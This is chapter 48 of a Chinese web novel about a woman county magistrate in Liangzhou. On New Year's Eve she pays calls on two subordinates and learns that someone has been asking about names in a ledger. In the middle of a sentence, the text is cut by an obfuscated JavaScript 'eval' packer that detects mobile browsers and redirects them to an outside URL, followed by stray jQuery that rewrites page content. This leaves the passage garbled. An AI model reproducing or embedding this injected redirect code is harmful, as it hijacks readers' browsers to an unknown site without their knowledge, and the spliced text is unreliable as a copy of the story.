48.烽火连年惊岁晚,归梦犹随塞北山
作品:《县令她追夫火葬场后不追了怎么办?》 谢照晚坐在庭院中,凝视着落在梅枝上的薄雪。
凉州城因援兵的到来士气大增,除夕一到,家家户户张灯结彩,敲锣打鼓庆祝着。
打更人刚在外面叫喊了一句,“天色渐明,卯时将至——”
“平安无事,家家安稳——”
一声锣鸣后,打更的人声音近了些。
“卯时已至,鸡鸣报晓,辞旧迎新——”
谢照晚看着梅花枝上的薄雪落下,微微叹了一口气。徐府虽小,但布置得格外精细漂亮,她仰头看着院落天空中飞过的麻雀,还有屋檐上落着的乌鸦。
窸窣细碎的脚步声响起,谢照晚扭头看去,是半乐领着一众奴仆,他们看到了谢照晚,脸上洋溢着喜悦的笑。
“老太太,您早,新年将至,祝您松鹤长春添福寿,竹梅迎岁贺安康。”
说完,一行人行礼,起身还是看着她笑。
谢照晚冻得有些僵硬的脸终于有了一丝表情,抬起袖子,一边拿着红包,一边说:“罢了罢了,过来领红包吧。”
半乐接过红包,一个个发出去。
拿上了红包,各位又行礼后才离开。只不过半乐走了几步后又退了回来,“老太太,姑娘特意派我过来,除了给您问好,还让我告诉您,秦郎君无碍。”
谢照晚眼眸一垂,转身走回到屋内。
昨个她就听说了,秦郎君跟着镇军回来了,等了一晚,也没等来他人。
“我是他祖母,理应是最牵挂他的人,可他回来,却没来瞧我一眼,”谢照晚叹了口气,“这是为何?”
半乐正要开口,谢照晚笑笑又说,“算了,不说这个了,今日除夕,咱们要快快乐乐的。”
她心里是有些委屈的,但更多的是隐隐的不安。坊间传闻他受了伤,却无人说得清伤得如何,也不知道他现下的处境如何。
半乐两个字——“无碍”,什么无碍?她又什么都不知道。
刚才起床她几次想去问徐圭言,可徐圭言忙着凉州城内的安危,忙得很,能让她多睡一会儿也是好的。
王嬷嬷在身后看出老太太的不忍心,自己请示一番后去了小厨房,帮谢照晚准备些早饭。
半乐得令后就出了院子,片刻后,院落外响起了噼里啪啦的鞭炮声。
王嬷嬷端着吃食从角门进来,走进屋子内,“老妇人,吃饭吧。”
谢照晚看了一眼可口丰盛的早饭,“走吧,我们去前面和她一起吃。”说完,动手把饭盖好端起来走了出去。
她走出自己的院子,走过游廊,全是喜气洋洋的奴仆,有的正在忙着贴对联,有的忙着打扫院落。
“再往东边一点,对……”
徐圭言的背着手站在房门前,比划着,浮玉移动着手上的春联。
谢照晚停下了脚步,“还想着你会多睡会儿,起这么早?”
徐圭言听到声音后回头看去,“老太太,您早!”她笑着回话,“快进屋,外面凉,我的早饭也好了,您不嫌麻烦的话,可以等等我,忙完这个,咱们一起吃。”
谢照晚点点头,不知为何看到徐圭言满是笑容的脸,心中的情绪竟然变得好了几分。
院子里的奴仆们还是年轻,再加上一个年轻的主子,正厅内外叽叽喳喳,比喜鹊还要嘈杂。
不一会儿,徐圭言进了屋,洗了手后才上桌吃饭。
“我一会儿要去拜年,您一个人在家可好?”徐圭言问谢照晚。
“你去忙你的,我一个老人家,怎么过都行。”
徐圭言笑笑,吃了几口饭菜,目光扫过谢照晚脸上,她心思细腻,看得出谢照晚的迟疑。
放下筷子后,她轻声开口道:“祖母若是想知道秦斯礼的情况,问我便是。他确实受了些伤,但不算重,现在已经没什么大碍了。只是这几日天冷,他身体虚弱,还需要休养。”
“他最近都住在客栈之中,家中有伤兵,您跟着他,也要去住客栈,想着徐府舒服些,便让您住在这里。”
谢照晚闻言松了口气,点点头,口中却还是有些埋怨:“那小子连个信也不捎回来,叫人白白担心。”
徐圭言低头应声,没再多言。
饭后,徐圭言打扮一番,半乐和彩云牵着马,马背上装的是贺礼,她去拜年。
一出家门,徐圭言左右看看。一片白雪覆盖在地上,门前这条街还没人走过,他们三个倒成了踩雪人。
拐了弯,出了县衙所在的小巷子后,大街小巷早已张灯结彩,家家户户贴上了鲜红的对联,门楣上挂满了象征吉祥的灯笼。
孩子们穿着新衣,提着各式各样的小灯笼,在街头嬉戏,欢声笑语融进了空气中。
徐圭言此时心情颇好,作为地方官,县令来说,这片祥和景象是她梦寐以求的,就像她小时候,盛世的后唐一般。
想到这里,她微微叹了口气。
“姑娘,怎么了?”
彩云发问。
徐圭言摆摆手,“没事,我们先去陆县尉家吧,还没见过他的妻子和刚过门的妾呢。”
“不应该他来给您拜年吗?您去了,这不是倒反天罡?”半乐突然说。
徐圭言满满地摇了摇头,“你不懂,跟我去看热闹就行了。”
一行人来到了陆明川家门前,陆家门前挂着一副精致的绢制对联,半乐上前敲门,奴仆请开条门缝后,看到了徐圭言,即刻将人请了进去。
院中摆满了各式糕点,香气四溢。
陆明川也出来了,过节的轻松氛围让他脸上浮现出喜悦的笑,“县令,您来了,理应我去给您拜年的。”
说这话,招呼徐圭言入内。
“无妨,你和我之间就不用客气了,”徐圭言说着,入了正厅坐下来,环视一周,奴仆两个,紧接着,一位举止端庄的女子走进来,给徐圭言斟茶。
“徐县令,这位是我妻子,宋十二。”
徐圭言迎上宋十二的目光,她的面容透着岁月打磨的痕迹,但却有一种温暖的美。她的五官端正,眉眼柔和中带着一丝坚毅,眼神深邃而明亮。
“谢谢娘子倒的茶,”徐圭言拿起茶杯,轻抿一口,无意中瞥到宋十二的手,双手虽有薄茧,却修剪得整齐,指甲泛着淡淡的光泽,看得出,她对细节的讲究。
“很早就听说过您,持家有道,还照顾着病重的老人。”
宋十二正要说话,沉重的脚步声响起来,一位身着上好袄裙的老太太走了进来,身旁还有一个扶着她的美人儿。
徐圭言侧头看去,陆明川的声音在耳旁响起,“这位是我母亲。”
陆明川的母亲一看到徐圭言,脸上的笑容立刻像花开一样灿烂了。她快走了几步迎上前来,满脸堆笑,声音拔高了几分:“哎呀,这不是徐县令吗!您这一来,我们这寒舍可是蓬荜生辉呀!”
陆老夫人一边说着,一边拉过徐圭言的手,用力拍了两下,仿佛生怕徐圭言感受不到她的“热情”。
她上下打量着徐圭言,眼中带着几分夸张的惊叹:“瞧瞧,这气派,这仪态,果然是大户人家出来的!我们这小地方可没几个像您这样的俊俏人儿。”
说到这儿,陆老夫人却话锋一转,语气里多了些含蓄的不屑:“不过啊,徐姑娘这模样虽是好,可看着……未免也太清瘦了些。哎呀,我们庄户人家啊,讲究个皮实耐劳,您这细皮嫩肉的,怕是连根柴都扛不动吧?”
她话里带着几分不易察觉的轻慢,但脸上的笑意却堆得更浓。宋十二站在一旁,眉头微微蹙起,没有插嘴。
徐圭言听完后眉头一挑,眼眸上下仔细打量一番。
这老太太穿得讲究,本就是昂贵的袄裙,外头还披着一件上好的绸缎面坎肩,坎肩上用金丝绣着大团的牡丹花,艳得几乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868481|154959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要滴出水来。那绸缎料子在阳光下微微反光,一看便知不是普通人家能用得起的布料。
陆明川知道徐圭言这是有些厌烦了,急忙出声,“母亲,这位是县令!”
陆老夫人似乎没听到一样,继续滔滔不绝:“不过您也不用担心,咱们庄里人最是实诚,粗茶淡饭虽不好,可总归能养人。要是真住得惯,改日常来走动走动就好。”一边说着,她还用袖子掩了掩嘴,仿佛在掩饰什么未尽之意。
徐圭言听得面无表情,只是微微颔首,温声应道:“伯母说得是。粗茶淡饭,恰是滋味长久。”
她声音轻柔,却带着一股不容忽视的笃定,让陆家老夫人脸上的笑容不禁僵了片刻。
徐圭言目光一斜,看向那位站在陆家老夫人身后的美人身上。
“哦,这是柳杏儿,川儿新纳的妾。”
老夫人把她拉到一旁,展示给徐圭言看。
年轻女子,容貌清秀,眉眼间透着几分妩媚。只是她见到徐圭言时神色一顿,眼中掠过一丝异样的情绪。
徐圭言微微一笑,仿佛并未察觉。她目光淡然,落在那女子的手腕上,看到了一串熟悉的玉镯。
陆明川笑着转移了话题,热情地与徐圭言寒暄,但柳杏儿站在一旁,乖乖地伺候着陆家老夫人。
呆了一会儿,徐圭言便走了。
陆明川给的贺礼也直接派人送到了徐圭言府上。
从陆明川家出来,徐圭言又去了李林家。李林家中比陆家显得冷清许多,但屋内却很干净整洁。
只是……耳旁的李林叽叽喳喳实在是太吵了。
“县令您来的实在是太突然了,也不说一声,我好派人出去接你呐……本应该下官去拜访您的,您来了,我这……”
李林说着话,一位妇人端着茶点走出来,眉眼柔和,对徐圭言微微一笑。
徐圭言一愣,意识到这便是李林的妻子,和想象中的不大一样,应该是个悍妇才对啊,收起惊讶,她对着李林的妻子说了一句:“您好。”
可徐圭言没等到回应,李林站起身将妻子搂在怀中,“县令,我妻子她说不了话,读得懂唇语,还请您……多担待。”
说这话的时候,李林神情严肃还带着几分遗憾,徐圭言点点头。她没想到李林娶了一个哑巴为妻,这在当地算是极为稀罕的事。李林对此却毫不避讳,亲自将妻子介绍给徐圭言,并言辞间透出几分维护之意。
她又看向李林的妻子,她简单地比划了一下,又仰头看向李林。
李林只是笑笑,“我和县令说,你的名字,沈初云,”他抬头看徐圭言,“县令,我妻子的名字叫沈初云,”语气里有着一丝难以察觉的骄傲。
徐圭言笑了笑,都老夫老妻了,李林还当她妻子是个小孩子,哄着来?不过也当孩子骗,外面的胡姬美人……
但徐圭言怎么想怎么都不对。
趁着李林不在旁,徐圭言低声问那哑巴妇人:“你是不是知道他的什么把柄,所以他把你毒哑了?”
沈初云听罢先是一愣,随后脸色微变,慌张地摇头。
李林恰好走进来,看到这一幕,立刻挡在妻子身前,冷冷地看着徐圭言:“徐县令,我待你一向敬重,但有些事不可胡言,也不要吓我夫人,我夫人她胆子小。”
徐圭言一笑,反问他,“你夫人胆子小?她胆子小,能去碧海阁抓你?她胆小子将你打得满脸淤青?”
李林犹豫片刻才说,“先前那次被人打,是有人来找我,问我账本上的名单,我没说实话,被那人打了。”
徐圭言脸色一变,“什么时候的事?”
“就是您院子失火的时候。”
两人对视一眼。
“这人也去找陆明川了?”
李林点头。
一阵沉默后,徐圭言低声问,“这事儿,你怎么不早点说?”